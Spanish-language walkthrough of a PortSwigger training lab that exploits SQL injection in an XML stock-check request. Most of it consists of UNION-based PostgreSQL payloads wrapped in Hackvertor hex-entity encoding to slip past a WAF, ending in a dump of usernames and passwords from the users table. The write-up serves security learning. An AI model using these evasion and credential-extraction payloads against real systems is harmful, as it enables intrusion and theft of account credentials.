SQL injection with filter bypass via XML encoding
Laboratorio de Portswigger sobre SQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad
de inyección SQL
en su función de verificación
de stock
. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que se puede usar un ataque UNION
para obtener datos
de otras tablas
. La base
de datos
contiene una tabla
llamada users
, que almacena los nombres
de usuario
y contraseñas
de los usuarios registrados
. Para resolver el laboratorio, debemos realizar un ataque
de inyección SQL
para obtener
las credenciales
del usuario administrador
y luego iniciar sesión
en su cuenta
Guía de SQLI
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de SQLI
https://justice-reaper.github.io/posts/SQLI/
Resolución
Al acceder
a la web
nos sale esto
Si hacemos click en View details
vemos que hay un botón de Check stock
Si pinchamos en Check stock
y capturamos
la petición
con Burpsuite
vemos una estructura en XML
Si enviamos
la petición
recibiremos en número
de unidades
disponibles
Con el simple hecho de poner una '
en alguna de los campos ya nos lo detecta
como ataque
, esto es debido a un WAF
Si el formato no fuera XML
y fuera texto plano
podríamos usar el Decoder
para encodear
el payload
en hexadecimal
, sin embargo, en este caso al enviarse los datos
en una estructura XML
podemos usar herramientas
como Hackvertor
para ofuscar
nuestro payload
y evitar
que sea detectado
por el WAF
. Para encodear nuestro payload debemos pulsar click derecho > Extensions > Hackvertor > Encode > hex_entities
Vemos que si ponemos una '
nos devuelve 0 unidades
He probado ambos campos pero solamente es inyectable
el campo storeId
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select null<@/hex_entities>
</storeId>
</stockCheck>
Si enviamos
la petición
vemos null
en la respuesta
Listamos
la version
y la base
de datos
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select version()<@/hex_entities>
</storeId>
</stockCheck>
Vemos que estamos ante un PostgreSQL
Listamos
los nombres
de las bases
de datos
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select datname from pg_database<@/hex_entities>
</storeId>
</stockCheck>
Listamos
la base de datos actual
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select current_database()<@/hex_entities>
</storeId>
</stockCheck>
Listamos
los esquemas
para la base de datos en uso
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select string_agg(schema_name,', ') from information_schema.schemata<@/hex_entities>
</storeId>
</stockCheck>
Listamos tablas
de la base de datos public
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select string_agg(table_name,', ') from information_schema.tables where table_schema='public'<@/hex_entities>
</storeId>
</stockCheck>
Listamos columnas
de la tabla users
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select string_agg(column_name,', ') from information_schema.columns where table_name='users'<@/hex_entities>
</storeId>
</stockCheck>
Listamos
los usuarios
y contraseñas
de la tabla users
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select username || ' : ' || password from users<@/hex_entities>
</storeId>
</stockCheck>
Accedemos
al panel administrativo